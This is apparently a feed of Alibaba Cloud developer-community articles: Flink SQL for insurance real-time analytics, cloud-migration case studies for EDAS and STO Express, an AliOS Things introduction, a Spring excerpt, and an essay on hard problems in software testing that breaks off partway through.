    a.运营人员:
    (1)根据用户提交的订单统计指定时间段的总投保人数和总投保金额,辅助优化运营方案。
    (2)对用户的日常行为做出分析,分析出每个用户比较关注的信息,作为推荐系统的数据来源。
    b:业务经理:
    对重点客户的投保金额变动进行监控,将投保金额变动较大的重点客户推送给业务经理,业务经理针对性开展客户挽留等操作。

    技术架构

    image.png
    架构解析:
    数据采集:该场景中,数仓的数据主要来源于APP等系统的埋点信息,被实时采集至DATAHUB作为Flink的输入数据。
    实时数仓架构:该场景中,整个实时数仓的ETL和BI部分的构建,全部通过Flink完成,Flink实时读取DATAHUB的数据进行处理,并与维表进行关联查询等操作,最终实时统计的结果输入到下游数据库RDS中。

    业务指标

    • 运营数据分析

      • 每小时的投保人数
      • 每小时的总保费
      • 每小时总保单数
    • 用户行为监控

      • 用户原投保金额
      • 用户现投保金额
    • 用户行为分析

      • 用户最后访问的页面类型
      • 用户最后访问的页面地址

    数据结构

    场景一:运营数据分析

    本场景用于计算每小时总投保人数和总保费。
    用户投保会生成一份订单,订单内容包括用户id、用户姓名、订单号等。flink实时读取订单信息,用where过滤出大于当前小时时间段的数据(数据过滤),然后根据用户id做分组用last_value函数获取每个用户最终生成的订单信息(订单去重),最后按照小时维度聚合统计当前小时的总保费和总投保人数。

    输入表

    CREATE   TABLE  user_order
    (
        id                          bigint    comment '用户id'
        ,order_no                    varchar    comment '订单号'
        ,order_type                  bigint    comment '订单类型'
        ,pay_time                    bigint  comment '支付时间'
        ,order_price                 double    comment '订单价格'
        ,customer_name               varchar    comment '用户姓名'
        ,customer_tel                varchar    comment '用户电话'
        ,certificate_no              varchar    comment '证件号码'
        ,gmt_created                 bigint  comment '创建时间'
        ,gmt_modified                bigint  comment '修改时间'
        ,account_payble             double      comment '应付金额'
    
    ) WITH (
           type='datahub',
         topic='user_order'
           ...
    )

    输出表

    CREATE    TABLE hs_order (
        biz_date              varchar COMMENT 'yyyymmddhh'
        ,total_premium         DOUBLE COMMENT '总保费'
        ,policy_cnt            BIGINT COMMENT '保单数'
        ,policy_holder_cnt     BIGINT COMMENT '投保人数'
        ,PRIMARY KEY (biz_date)
    ) WITH
     (
       type='rds',
       tableName='adm_pfm_zy_order_gmv_msx_hs'
       ...
     ) 
     ;

    业务代码

    1:数据清洗

    create view  last_order
    as 
    select 
         id                                 as id               
        ,last_value(order_no)               as order_no                   
        ,last_value(customer_tel)           as customer_tel     
        ,last_value(gmt_modified)           as gmt_modified                      
        ,last_value(account_payble)         as account_payble   
        from user_order
        where gmt_modified  >= cast(UNIX_TIMESTAMP(FROM_UNIXTIME(UNIX_TIMESTAMP(), 'yyyy-MM-dd'), 'yyyy-MM-dd')*1000 as bigint)
        group by id
    ;

    2:数据汇总

    insert into hs_order
    select 
    biz_date
    ,cast (total_premium as double) as total_premium
    ,cast (policy_cnt as bigint) as policy_cnt
    ,cast (policy_holder_cnt as bigint) as policy_holder_cnt
    from (
    select 
        from_unixtime(cast(gmt_modified/1000 as bigint),'yyyyMMddHH')      as biz_date
        ,sum(coalesce(account_payble,0))  as total_premium
        ,count(distinct order_no)   as policy_cnt
        ,count(distinct customer_tel)  as policy_holder_cnt
    from  last_order a 
    group by 
    from_unixtime(cast(gmt_modified/1000 as bigint),'yyyyMMddHH')
    )a 
    ;

    场景二:用户行为监控

    本场景对投保金额变动较大(总保额变动大于15%)的重点用户进行监控。
    Flink实时读取用户新建订单数据,新建订单包括用户的id和现投保金额,通过where过滤没有保存成功的订单。维表中存储了业务经理关注的重点用户数据(如原投保金额),通过新建订单中的用户id与维表进行关联查询,如果维表中存在此用户且总保额下降15%以上,则将该用户的详细信息推送给业务经理,并且在维表中更新该用户投保金额及投保信息。

    输入表

    create table update_info
    (
     id             bigint      comment '用户id'
    ,channel        varchar     comment '渠道编号'
    ,open_id        varchar     comment '订单id'
    ,event          varchar     comment '事件类型'
    ,now_premium  varchar     comment '现投保金额'
    ,creator        varchar     comment '创建人'
    ,modifier       varchar     comment '最后修改人'
    ,gmt_modified   bigint      comment '修改时间'
    ,now_info       varchar     comment '现投保信息'
    ) with (
        type = 'datahub',
        topic = 'dh_prd_dm_account_wechat_trace'
        ...
       
    );

    维表

     create table raw_info
    (
         id                 bigint  comment '用户id'
        ,raw_premium      varchar  comment '原投保金额'
        ,raw_info           varchar  comment '原投保信息'
        ,PRIMARY KEY(id)
        ,PERIOD FOR SYSTEM_TIME
    ) WITH (
        type='ots',
        tableName='adm_zy_acct_sub_wechat_list'
        ...
    );
    

    输出表

    create table update_info
    (
         id               bigint  comment '用户id'
        ,raw_info         varchar comment '原投保信息'
        ,now_info         varchar comment '现投保信息'
        ,raw_premium      varchar comment '原投保金额'
        ,now_premium      varchar comment '现投保金额'
        ,PRIMARY KEY(id)
    ) WITH (
        type='rds',
        tableName='wechat_activity_user'
        ...
    );
    

    业务代码:

    create view info_join as 
    select
          t1.id               as  id
        ,t2.raw_info          as  raw_info
        ,t1.now_info          as  now_info  
        ,t2.raw_premium     as raw_premium
        ,t1.now_premium     as now_premium
    from update_info t1
    inner join raw_info FOR SYSTEM_TIME AS OF PROCTIME() as t2
    on t1.id = t2.id ;
    insert into update_info
    select 
         id                        as id  
        ,raw_info                  as raw_info
        ,now_info                  as now_info
        ,raw_premium               as raw_premium  
        ,now_premium               as now_premium  
    from info_join where now_premium<raw_premium*0.85
    ;
    insert into raw_info
    select 
         id                        as id  
        ,now_premium               as raw_premium  
        ,now_info                  as raw_info
    from info_join
    ;

    场景三:用户行为分析

    本场景记录用户最后访问的页面名称和类型,作为用户画像的特征值。
    Flink读取用户浏览APP页面的日志信息,如用户id、页面名称和页面类型等信息,根据用户id和设备id进行分组,通过last_value函数获取用户最后一次访问页面的名称和类型,输出到RDS作为推荐系统的输入数据,在下次用户登录的时候为其推送相关广告信息,提升用户广告点击率和下单的成功率。

    输入表

    
    create table user_log
    (
     log_time                bigint  comment '日志采集日期(Linux时间)' 
    ,device_id               varchar  comment '设备id'
    ,account_id              varchar  comment '账户id'
    ,bury_point_type         varchar  comment '页面类型或埋点类型'
    ,page_name               varchar  comment '页面名称或埋点时一级目录'
    ) WITH (
        type = 'datahub',
        topic = 'edw_zy_evt_bury_point_log'
        ...
    );
    

    输出表

    create table user_last_log
    (
         account_id         varchar  comment 'account_id'
        ,device_id          varchar    comment  '设备id'
        ,bury_point_type    varchar  comment '页面类型'
        ,page_name          varchar  comment '页面名称'
        ,primary key(account_id)
    ) WITH (
        type='rds',
        tableName='adm_zy_moblie_charge_exchg_rs'
        ...
        
    );
    

    业务代码

    
    insert into user_last_log
    select
        account_id
        ,device_id
        ,last_value(bury_point_type)  as bury_point_type
        ,last_value(page_name)  as page_name
    from user_log
    where account_id is not null 
    group by account_id,device_id
    
    ]]>
    2000万市民报名!成都“消费券”活动如何顺利完成多端多平台海量报名数据的处理?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 huagai_VCG21gic19918165_RF_2M.jpg

    成都信通信息技术有限公司(简称“成都信通”或“信通公司”)创立于2015年12月,是成都产业投资集团下属的国有控股科技公司,注册资本为3000万元。成都信通信息技术有限公司重点聚焦在金融科技、产业数字化、产业互联网、网信服务等领域深耕发展。
    随着公司业务的迅猛发展,成都信通对于流量防护、弹性伸缩、服务监控、版本发布等方面提出了新的诉求。以消费券活动报名场景为例,在流量防护方面,面对突发流量、高并发场景,需要保证业务系统能够持续平稳的运行。在弹性伸缩方面,高并发、大流量的情况下需要系统平稳快速的水平扩容,从而保证业务系统的稳定性。在服务监控方面,系统的监控需要做到不仅可以了解实时的系统指标,同时需要及时告警并发现生产隐性Bug。最后,在版本发布方面,版本迭代不会使得业务中断、能够做到无损上下线。
    针对以上诉求,在与阿里云技术专家深入讨论后,成都信通决定采用阿里云企业级分布式应用服务EDAS。EDAS是一站式微服务应用托管平台,对开源Spring Cloud和Dubbo无侵入支持,零成本迁移。同时提供开源所不具有的企业级能力。

    image.png

    阿里云EDAS的动态扩缩容、灰度发布等能力,为成都信通提供了一整套的应用生命周期的管理。在此之前,从业务代码开发完成到部署到生产环境以及微服务整个生命周期的管理一直是一个比较棘手的问题,成都信通采用EDAS后,可以将整个应用的生命周期全部托管到EDAS上,真正做到一键部署、一键发布。同时EDAS平台对应用快速扩缩容以及对流量控制、熔断、降级等功能的支持,很好地帮助成都信通在面对大流量、高并发场景时,业务系统依旧能够持续平稳的运行。
    依托于EDAS灰度发布、无损上下线功能,保证了成都信通在业务不中断的情况下,持续快速的发布新业务功能。同时,借助于EDAS整合的阿里云应用监控服务,成都信通微服务体系获得了更好的监控能力。通过链路追踪、慢SQL、问题诊断等一系列技术手段,成都信通可以及时定位并解决生产隐性Bug。此外,SLB+后端服务器的高可用架构满足业务高并发需求的同时,避免了业务出现单点故障。
    成都市消费券系统构建活动报名的高并发应用场景,利用EDAS强大的流量管理能力、运维服务监控及应用弹性扩容管理等功能,实现了满足成都市2000万市民的报名业务场景,很好地支撑了多端多平台的海量报名数据的接收。2020年第二阶段消费券活动期间,使用EDAS上服务调用量平稳度过了比正常流量高百倍的峰值。

    ]]>
    初识AliOS Things |《AliOS Things快速开发指南》-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 初识AliOS Things

    AliOS Things快速入门帮助您初识AliOS Things系统,并实现从零开始的一个入门操作。

    什么是AliOS Things

    AliOS Things发布于2017年杭州云栖大会,是AliOS家族旗下,面向IoT领域的高可伸缩物联网操作系统。
    image.png
    AliOS Things致力于搭建云端一体化IoT基础设施,具备极致性能、极简开发、云端一体、丰富组件、安全防护等关键能力。AliOS Things 支持多种多样的设备连接到阿里云IoT平台,可广泛应用在智能家居、智慧城市、工业,新出行等领域。
    关键特性

    • 即插即用的连接和丰富的服务。

      • 支持uMesh即插即用网络技术,设备上电自动连网。
    • 差分+安全OTA升级。

      • 差分增量包升级。
      • 安全数字签名。
      • 安全下载通道。
      • 断点续传。
      • 乒乓升级。
      • 版本回溯。
    • 全面彻底的安全保护。

      • 提供系统和芯片级别安全保护。
      • 支持可信运行环境(支持ARMV8-M Trust Zone)。
      • 支持预置ID2根身份证和非对称密钥以及基于ID2的可信连接和服务。
    • 高度优化的性能。

      • 内核支持Idle Task,内存资源消耗低,RAM小于1 KB,ROM小于2 KB,提供硬实时能力。
      • 提供Yloop事件框架以及基于此整合的核心组件,避免栈空间消耗,核心架构良好支持极小footprint的设备。
    • 极简开发

      • 基于Linux之上的轻量虚拟化环境,提供在Linux平台上开发与硬件无关的IoT应用和软件库,使用GDB、Valgrind、SystemTap等PC平台工具诊断开发问题。
      • 提供IDE,支持系统、内核行为Trace, Mesh组网图形化显示。
      • 提供Shell交互,支持内存踩踏、泄露、最大栈深度等各类侦测。
      • 提供面向组件的编译系统以及aos-cube工具,支持灵活组合IoT产品软件栈。
      • 提供包括存储(掉电保护、负载均衡)在内的各类产品级别的组件。

    两大开发流程

    AliOS Things编译完成后,可以使用线上或者线下开发板烧录。调试完成后,即可应用到您的实际业务中。 开发板开发流程图如下:
    image.png

    开发板类型 流程说明 适用场景
    线下开发板 1、安装开发环境2、项目编译3、固件烧录4、调试 真实开发环境。
    线上开发板 开发的流程与上述使用线下开发板的流程基本一致。主要的区别在于固件烧录前,需要先申请线上开发板,操作步骤请参见使用线上开发板进行开发调试。 线上体验。线上开发流程主要适合当您手上没有现成可用的实体开发板时,可以使用线上的开发板来调试验证您的程序。说明: 在实际开发中,您仍然需要使用线下开发板进行开发。

    下一篇:AliOS Things开发前准备

    ]]>
    1.1 了解Spring框架 -《SSM深入解析与项目实战》-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 声明

    专栏链接:https://chenhx.blog.csdn.net/category_10263372.html
    作者:谙忆

    1.1 了解Spring框架 -《SSM深入解析与项目实战》

    项目中所有的源码都可以在此链接的仓库中找到:https://github.com/chenhaoxiang/uifuture-ssm  

    本章非常形象的介绍了Springn中最核心的两个概念,IoC和AOP,使用了现实中的例子进行讲解,让开发者更加容易理解。  

    第1篇  基础概念

    第1章  谈谈SSM框架和Redis

    本章节对于Spring、Spring MVC、MyBatis和Redis进行了一些简单的介绍,不会对技术有太过深入的讲解。

    1.1  了解Spring框架

    Spring是一个轻量级的企业级Java开发开源框架,是为了解决企业项目开发的复杂性而创建的。学习Spring,最重要的就是要理解两个核心概念,即IoC(Inversion of Control 控制反转)和AOP(Aspect Oriented Programing面向切面编程)。

    Spring之所以在企业中应用如此广泛,完全是由于它先进的设计理论:

    分层架构,使用者只用引入自己所需要的某一个组件,不需要再做一些重复性的工作,简化开发与配置。对于项目没有太多的入侵性,在使用Spring框架的时候,并不需要继承或者实现框架中的类和接口。
    使用IoC容器进行实例化对象以及管理对象间的依赖,面向接口编程,降低模块与模块之间的耦合,方便扩展。

    ......
    更多内容请查看:
    https://chenhx.blog.csdn.net/article/details/107795555

    ]]>
    申通的云原生实践之路:如何实现应用基于容器的微服务改造?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 头图.png

    随着云计算的普及与云原生的广泛应用,越来越多的从业者、决策者清晰地认识到「云原生化将成为 企业技术创新的关键要素,也是完成企业数字化转型的最短路径」

    因此,具有前瞻思维的互联网企业从应用诞生之初就扎根于云端,谨慎稳重的新零售、政府、金融、医疗等领域的企业与机构也逐渐将业务应用迁移上云,深度使用云原生技术与云原生架构。面对架构设计、开发方式到部署运维等不同业务场景,基于云原生架构的应用通常针对云的技术特性进行技术生命周期设计,最大限度利用云平台的弹性、分布式、自助、按需等产品优势。

    作为发展最为迅猛的物流企业之一,申通快递一直积极探索技术创新赋能商业增长之路,以期达到降本提效目的。目前,申通快递日订单处理量已达千万量级,亿级别物流轨迹处理量,每天产生数据已达到 TB 级别,使用 1300+ 个计算节点来实时处理业务。

    当业务飞速发展遭遇运维瓶颈

    过往申通快递的核心业务应用运行在 IDC 机房,原有 IDC 系统帮助申通安稳度过早期业务快速发展期。但伴随着业务体量指数级增长,业务形式愈发多元化。原有系统暴露出不少问题,传统 IOE 架构、各系统架构的不规范、 稳定性、研发效率都限制了业务高速发展的可能。软件交付周期过长,大促保障对资源的特殊要求难实现、系统稳定性难以保障等业务问题逐渐暴露。

    在与阿里云进行多次需求沟通与技术验证后,申通最终确定阿里云为唯一合作伙伴,采用云原生技术和架构实现核心业务搬迁上阿里云。2019 年开始将业务逐步从 IDC 迁移至阿里云。目前,核心业务系统已经在阿里云上完成流量承接,为申通提供稳定而高效的计算能力。

    全面改造云原生升级,助力业务发展

    申通核心业务系统原架构基于 Vmware+Oracle 数据库进行搭建。随着搬迁上阿里云,架构全面转型为基于 Kubernetes 的云原生架构体系。其中,引入云原生数据库并完成应用基于容器的微服务改造是整个应用服务架构重构的关键点。

    • 引入云原生数据库

    通过引入 OLTP 跟 OLAP 型数据库,将在线数据与离线分析逻辑拆分到两种数据库中,改变此前完全依赖 Oracle 数据库的现状。满足在处理历史数据查询场景下 Oracle 数据库所无法支持的实际业务需求。

    • 应用容器化

    伴随着容器化技术的引进,通过应用容器化有效解决了环境不一致的问题,确保应用在开发、测试、生产环 境的一致性。与虚拟机相比,容器化提供了效率与速度的双重提升,让应用更适合微服务场景,有效提升产研效率。

    • 微服务改造

    由于过往很多业务是基于 Oracle 的存储过程及触发器完成的,系统间的服务依赖也需要 Oracle 数据库 OGG 同步完成。这样带来的问题就是系统维护难度高且稳定性差。通过引入 Kubernetes 的服务发现,组建微服务解决方案,将业务按业务域进行拆分,让整个系统更易于维护。

    综合考虑申通实际业务需求与技术特征,最终选择了「阿里云 ACK+ 神龙 + 云数据库」的云原生解决方案,从而实现核心应用迁移上阿里云。

    1.png

    1. 架构阐述

    基础设施,全部计算资源取自阿里云的神龙裸金属服务器。相较于一般云服务器(ECS),Kubernetes 搭配神龙服务器能够获得更优性能及更合理的资源利用率且云上资源按需取量,对于拥有大促活动等短期大流量业务场景的申通而言极为重要。相较于线下自建机房、常备机器,云上资源随取随用。在大促活动结束后,云上资源使用完毕后即可释放,管理与采购成本更低,相应效率。

    流量接入,阿里云提供两套流量接入,一套是面向公网请求,另外一套是服务内部调用。域名解析采用云 DNS 及 PrivateZone。借助 Kubernetes 的 Ingress 能力实现统一的域名转发,以节省公网 SLB 的数量,提高运维管理效率。

    2. 平台层

    基于 Kubernetes 打造的云原生 PaaS 平台优势明显突出。

    打通 DevOps 闭环,统一测试,集成,预发、生产环境; 天生资源隔离,机器资源利用率高; 流量接入可实现精细化管理; 集成了日志、链路诊断、Metrics 平台;

    统一 ApiServer 接口和扩展,天生支持多云跟混合云部署。

    3. 应用服务层

    每个应用都在 Kubernetes 上面创建单独的一个 Namespace,应用跟应用之间实现资源隔离。通过定义各个 应用的配置 Yaml 模板,当应用在部署时直接编辑其中的镜像版本即可快速完成版本升级,当需要回滚时直接在本地启动历史版本的镜像快速回滚。

    4. 运维管理

    线上 Kubernetes 集群采用阿里云托管版容器服务,免去了运维 Master 节点的工作,只需要制定 Worker 节点上线及下线流程即可。同时业务系统均通过阿里云的 PaaS 平台完成业务日志搜索,按照业务需求投交扩容任务,系统自动完成扩容操作,降低了直接操作 Kubernetes 集群带来的业务风险。

    全面释放云原生技术红利

    成本方面:使用公有云作为计算平台,可以让企业不必因为业务突发增长需求,而一次性投入大量资金成本用于采购服务器及扩充机柜。在公共云上可以做到随用随付,对于一些创新业务想做技术调研十分便捷。用完即释放, 按量付费。另外云产品都免运维自行托管在云端,有效节省人工运维成本,让企业更专注于核心业务。

    稳定性方面:首先,云上产品提供至少 5 个 9 以上的 SLA 服务确保系统稳定,而自建系统稳定性相去甚远。其次,部分开源软件可能存在功能 bug,造成故障隐患。最后,在数据安全方面云上数据可以轻松实现异地备份,阿里云数据存储体系下的归档存储产品具备高可靠、低成本、安全性、存储无限等特点,让企业数据更安全。

    效率方面:借助与云产品深度集成,研发人员可以完成一站式研发、运维工作。从业务需求立项到拉取分支开发, 再到测试环境功能回归验证,最终部署到预发验证及上线,整个持续集成流程耗时可缩短至分钟级。排查问题方面,研发人员直接选择所负责的应用,并通过集成的 SLS 日志控制台快速检索程序的异常日志进行问题定位,免去了登录机器查日志的麻烦。

    赋能业务:阿里云提供超过 300 余种的云上组件,组件涵盖计算、AI、大数据、IOT 等等诸多领域。研发人员开箱即用,有效节省业务创新带来的技术成本。

    想要了解更多阿里云云原生技术细节,以及更多企业实践案例?那么就快下载《云原生架构白皮书》吧!点击链接即可下载:https://developer.aliyun.com/topic/cn-architecture-paper

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    阿里研究员:软件测试中的18个难题-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 image.png
    十多年前我在上一家公司的时候看到过内部有个网站有一个Hard Problems in Test的列表,上面大概有三四十个问题的样子,是各个部门的测试同学提供的。但可惜后来那个list失传了,我很后悔自己当时没有保存一份。后来很多次我都想要找到那份list,因为上面列的那些问题指出了测试专业在自身专业性上的巨大发展空间。那份list上的问题让当时的我相信,软件测试这件事情本身的难度一点都不亚于软件开发,甚至可能更难一点。

    如果今天要重建这么一份Hard Problems in Test列表,下面这些问题是我会加到这份列表上的[1]。

    一 测试充分度(Test Sufficiency)

    如何回答“测够了吗“(包括测新和测旧)。代码覆盖率是衡量测试充分性的起点,但远远不是终点。要回答”测够了吗“,至少还要考虑是否测了所有的场景、所有的状态、所有的状态转移路径、所有的事件序列、所有可能的配置、所有可能的数据等等等等。即便如此,我们可能还是无法100%确信我们已经测够了。可能我们最终只能做到非常趋近于测够了[2]。

    二 测试有效性(Test Effectiveness)

    如何评价一组测试用例的发现bug的能力。有效性(发现bug的能力)和充分性(测够了没有)是两个正交的属性。评价测试用例有效性可以通过正向的分析进行,例如,分析测试用例是否校验了所有在测试过程中SUT落库的数据。更具有通用性的做法是变异测试(Mutation Testing),即在被测代码里注入不同的“人造bug”,统计多少能被测试用例感知到。目前变异测试我们已经有工程化规模化的落地了,后续的工作重点有:1)如何防止钝化(或曰“杀虫剂效应”),2)不但对被测代码进行注入,还能对配置、数据等进行更全面的注入。

    三 测试用例瘦身

    以前广告行业有句话:我知道广告费有一半是浪费掉的,但不知道哪一半是浪费掉的[3]。

    软件测试也有类似的困惑:那么多用例,要花那么多时间去跑,我知道这里面有很多时间是浪费掉的,但我不知道哪些时间是浪费掉的。浪费的形式包括:

    • 冗余步骤:有些是浪费在一些重复的步骤上,每个用例都要去做一些类似的数据准备,每个用例都要去执行一些中间过程(这样才能推进到下一步)。
    • 等价类:一个支付场景,我要不要在所有的国家、所有的币种、所有的商户、所有的支付渠道和卡组的排列组合都测一遍?这么测,代价太高。不这么测,我担心可能某个特定商户在某个特定国家有个特定逻辑我就漏掉了。对于具体的业务,还可以进行人肉分析。有没有更通用的、而且比较完备和可靠的等价类分析的技术手段?
    • 我有N个用例,我猜这N个用例里面可能存在M个用例,即使删掉这M个用例,剩下的N-M个用例的效果和之前N个用例的效果一样。如何识别是否存在这样的M个用例、如果存在的话是哪M个。

    我参加过内部一场质量线晋升到P9的评审,当时有个评委问了那位同学一个问题:“那么多测试用例,以后你怎么删”。这个问题看似简单,其实非常难。我觉得,从原理上来说,如果测试充分度和测试有效性的度量都做的非常好了、度量成本非常低了,我们是可以通过大量的不断的尝试来删用例的。这是一种工程化的思路,也许还有其他的理论推导的思路。

    四 测试分层

    很多团队都会纠结到底要不要做全链路回归、做到什么程度。这个问题的核心点就是:有没有可能、有没有一种做法,只要把系统间的边界约定的足够好足够完整,就可以做到在改动一个系统的代码后,不需要和上下游系统进行集成测试,只要按照边界约定验证好自己的代码就可以确保没有任何regression了。

    包括我在内的很多人相信那是可能的,但既无法证明,也不敢在实操中就完全不跑集成。我们也缺乏可以完全复制的成功经验,缺乏一套完整的方法论指导开发团队和QA团队要怎么做就可以达到回归无需集成上下游。

    有时候,我觉得我现在就像是哥德堡的市民,不断的走啊走,尝试找出一条一次性不重复的走过那7座桥的路线。但也许就有那么一天,有一个像欧拉那样的人会出现在我面前,用理论证明告诉我,那是不可能的。

    五 减少分析遗漏

    分析遗漏是很多故障的原因。开发做系分的时候,有一个corner case没考虑到、没有处理。测试做测分的时候,忘记考虑某个特殊场景了。兼容性评估,评估下来没有兼容性问题的,但结果是有的。而且很多时候,分析遗漏属于unknown unknowns,我压根就不知道我不知道。有没有一套方法和技术,可以减少分析遗漏,可以把unknown unknowns转化为knowns?

    六 用例自动生成

    Fuzz Test、Model Based Test、录制回放、Traffic Bifurcation(引流)等都是自动生成用例的手段。有些已经比较成熟(例如单系统的录制回放、引流),有些多个团队都在探索(例如Fuzz),有些则一直没有大规模的成功实践(例如MBT)。我们也有过探索如何从PRD里通过NLP来生成用例。用例自动生成中,有时候难点还不是生成test steps,难度反而是怎么生成test oracle。Anyway,测试用例自动生成是一个非常大的领域,这个方向上未来可以做的还非常多。

    七 问题自动排查

    包括线上和线下。对于比较初级的问题,自动排查方案往往有两个局限性。首先,方案不够通用,多多少少比较定制化。其次,比较依赖人工积累规则(说的好听点叫“专家经验”),主要是通过记录和重复人肉排查的步骤来实现。然而,每个问题都不完全一样,问题稍微一变,之前的排查步骤可能就不work了。现在有一些技术,比如调用链路的自动比对,对排查问题和缺陷自动定位很有帮助。

    八 缺陷自动修复

    阿里的Precfix、Facebook的SapFix等是目前比较知名的一些工业界的做法。但总的来说,现有的技术方案,都有这样那样的局限性和不足,这个领域还在相对早期阶段,后面的路还很长。

    九 测试数据准备

    测试用例的一个重要设计原则是:测试用例之间不应该有依赖关系,一个测试用例的执行结果不应该受到其他测试用例的执行结果(包括是否执行)的影响。基于这个原则,传统的最佳时间是确保每个测试用例都应该是自给自足的:一个用例需要触发的后台处理流程应该由这个用例自己来触发,一个测试用例需要的测试数据应该自己来准备,等等。但如果每个用例所需要用到的测试数据都是自己来从头准备的,执行效率就比较低。怎么既不违背“测试用例之间不应该有依赖关系”的大原则,又能减少测试数据的准备时间?

    我设想的是一种更加完备的数据银行。每个测试用例执行完后,都会把它自己产生的数据交给数据银行,例如,一个在某个特定国家的已经通过KYC、已经绑了一张卡的会员,一笔已经支付成功的交易,一个已经完成入驻签约流程的商户。下一个测试用例开始的时候,会先问一下数据银行:“我要一个满足这样这样条件的商户,你有没有”。上个用例跑出来的那个商户正好符合条件,数据银行就会把商户“借”给这个用例用。而且一旦借出,直到被归还前,这个商户不会被借给其他用例。

    经过一段时间的运行,数据银行能够学习到每个测试用例需要什么样的数据、以及会产生什么样的数据。这个知识是通过学习得到的,不需要人肉去添加描述,所以也能适用于老系统的存量用例。有了这个知识,数据银行可以实现两个优化:

    • 一次测试执行批次开始后,数据银行会看到这个批次中后面那些用例需要什么样的数据,提前先准备起来。这样,等执行到那些用例的时候,数据银行里就已经有符合条件的数据准备好了。
    • 根据每个测试用例需要什么样的数据、以及会产生什么样的数据,数据银行可以合理的编排测试用例的执行先后次序,最大化的实现测试数据的复用,减少测试数据的量和准备开销。

    测试银行把测试数据“借”给用例的时候,可以有多种不同的模式。可以是独占(exclusive)的,也可以是共享的。共享的也可以指定共享读、共享写、还是都只读不能写(例如,一个商户可以被多个用例用来测试下单支付结算场景,但这些用例都不可以去修改这个商户本身,例如重新签约)。

    如果把开关、定时任务等resource也作为一种广义的测试数据由数据银行来管理,能实现测试用例尽可能并行执行。例如,有N个用例都需要修改一个开关值,这N个用例如果并行执行的话就会相互影响,他们相互之间应该串行执行。但N个用例中的任何一个,都可以和这N个用例之外的用例并行执行。数据银行掌握了每个用例对各种资源的使用模式的详细情况,再加上每个用例的平均运行时间等数据,就可以最优化、最准确的对一批测试用例进行编排,做到可以并行的都尽可能并行、不能并行的确保不并行,而且还可以在一个批次的执行过程中不断的调整余下还未执行的用例的编排。

    这样一个数据银行是普遍适用的,不同业务之间的差异无非是具体的业务对象和resource不一样。这些差异可以通过插件形式实现。如果有这么一个通用的数据银行[4],可以很方便的adopt,大量的中小软件团队的测试效率都可以得到明显的提高。这样的一个更加完备的数据银行的想法,我到目前为止还只是想法,一直没有机会实践。

    十 异常测试

    一个分布式系统,它的内部、内部各部分之间以及它和外部的交互都会出现各种异常:访问超时、网络连接和耗时的抖动、连接断开、DNS无法解析、磁盘/CPU/内存/连接池等资源耗尽等等。如何确保系统的行为(包括业务逻辑、以及系统自保护措施如降级熔断等)在所有的情况下都是符合预期的?今天我们的线上演练(本质上也是一种异常测试))已经做了很多了。如何把更多的问题提前到线下来发现?对于一个复杂的分布式系统来说,要遍历所有可能出现异常的地方和所有可能出现的异常,异常用例的数量是非常大的。此外,某些异常情况下,系统对外表现出来的行为应该没有变化;而另一些异常情况下,系统行为是会有变化的。对于后一类,如何给出每一个异常用例的预期结果(即test oracle),也是比较有难度的。

    十一 并发测试(Concurrency Test)

    并发(concurrency)可能出现在各个level:数据库层面,对同一张表、同一条记录的并发读写;单系统层面,同一个进程内的多个线程之间的并发,单服务器上的多个进程之间的并发,以及单个服务的多个实例之间的并发;业务层面,对同一个业务对象(会员、单据、账户等)的并发操作,等等。传统的并发测试是基于性能测试来做的,有点靠撞大运,而且经常是即便跑出问题来了也会被忽视或者无法repro。并发测试领域,我接触过的一些成果包括Microsoft的CHESS以及阿里的谭锦发同学在探索的分布式模型检查&SST搜索算法。

    十二 回滚的测试

    安全生产三板斧宣传了多年,在阿里经济体内大家都能做到“可回滚”了。但我所观察到的是:很多时候我们有回滚的能力,但是对回滚后系统的正确性,事前保障的手段还不够。我们更多的是靠灰度和监控等事后手段来确保回滚不会回滚出问题来。事实上,过去两年,我自己已经亲身经历过好几次回滚导致的线上故障。回滚测试的难度在于:需要覆盖的可能性非常多,一个发布可能在任何一个点上回滚。回滚可能还会引发兼容性问题:新代码生成的数据,在新代码被回滚后,老代码是否还能正确的处理这些数据。

    十三 兼容性测试

    代码和数据的兼容性问题有很多形式。例如,如何确保新代码能够正确的处理所有的老数据?有时候,老数据是几个月前的老代码产生的,例如,一个正向支付单据可能会到几个月以后才发生退款退票。有时候,老数据可能就是几分钟前产生的:用户的一个操作,背后的流程执行到中间的时候代码被升级了。验证这些场景下的兼容性的难度在于:需要验证的可能性太多了。今天的退款请求对应的正向单据,可能是过去很多个版本的代码产生的。一个业务流程执行到中间具体什么地方代码被升级了,可能性也非常多。

    异常测试、并发测试、回滚测试、兼容性测试,这些问题的一个共同点是:我们知道这些问题是可能存在的,但要测的话,需要测的可能性又太多。

    十四 Mock

    测试的有效性也依赖于mock的正确性。既然是mock,它和被mock的服务(包括内部的、二方的和三方的)的行为就多多少少会有差异。这种差异就有可能导致bug被漏过。前人也为此想出了“流量比对”等办法。我曾经有另一个想法:“一鸭三吃”。也就是说,通过bundle和compiler instruction等方法,让同一套源代码支持三种不同的编译构建模式:

    • 正常模式:这就是和今天的编译构建是一样的,产出的构建物是拿去生产环境跑的。
    • Mock模式:这个模式编译出来的就是该服务的一个mock,但由于是同一套代码编译出来的,最大可能的保留了原来的业务逻辑,做到最大限度的仿真。而且由于是同一套代码编译出来的,后期也不会有“脱钩”的担心,应用代码里的业务逻辑变化都能及时反映在mock里,大大减少mock的人肉维护工作量。
    • 压测模式:这个模式编译出来的也是一个mock,但这个mock是用来给(上游)做性能测试用的。过去在线下的性能压测中经常遇到的情况是:我们想要压的系统还没到瓶颈,这个系统的下游系统(往往是一个测试环境)反而先到瓶颈了。压测模式编译出来的这个mock牺牲了一部分的业务逻辑仿真,但能确保这个mock本身性能非常好,不会成为性能瓶颈(但对lantency仍然是仿真的)。

    这个“一鸭三吃”的想法so far还停留在想法层面,我还一直没有机会实践一下。

    十五 静态代码分析

